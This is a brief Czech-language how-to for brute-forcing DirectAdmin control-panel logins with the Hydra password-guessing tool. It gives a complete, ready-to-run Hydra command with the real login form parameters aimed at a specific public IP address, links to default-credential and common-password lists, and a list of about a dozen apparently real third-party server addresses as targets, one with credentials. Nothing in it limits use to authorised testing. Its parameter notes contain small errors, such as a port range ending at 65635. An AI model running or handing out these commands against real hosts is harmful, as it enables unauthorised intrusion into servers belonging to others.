Stručný návod na vyzkoušení útoku hrubou silou na webový formulář aplikace DirectAdmin.


hydra "IP" -s "PORT" "PROTOCOL" "site:form parameters:failed login message" -l admin -P passwords -v

IP = 0.0.0.0/8
PORT = 0-65635
PROTOCOL = HTTP-HEAD, HTTPS-HEAD, HTTP-GET, HTTPS-GET, HTTP-FORM-GET, HTTPS-FORM-GET, HTTP-FORM-POST, HTTPS-FORM-POST
-l/-L = user/users in dictionary
-p/-P = password/passwords in dictionary
-v = verbose

Ukázka:
hydra 216.144.255.179 -s 2222 https-post-form "/CMD_LOGIN:referer=%2FCMD_LOGIN&username=^USER^&password=^PASS^:Invalid login" -l admin -P passwords -v

Default dictionary:
https://cirt.net/passwords
http://phenoelit.org/dpl/dpl.html

Password dictionary:
https://github.com/danielmiessler/SecLists/tree/master/Passwords/Common-Credentials

Site for example:
216.144.255.179:2222 user:demo_admin password:demo
178.32.191.6:2222
202.43.45.121:2222
37.97.184.223:2222
195.211.72.21:2222
185.53.162.200:2222
195.246.16.133:2222
68.233.44.97:2222
178.32.191.26:2222
91.203.144.88:2222
94.126.66.95:2222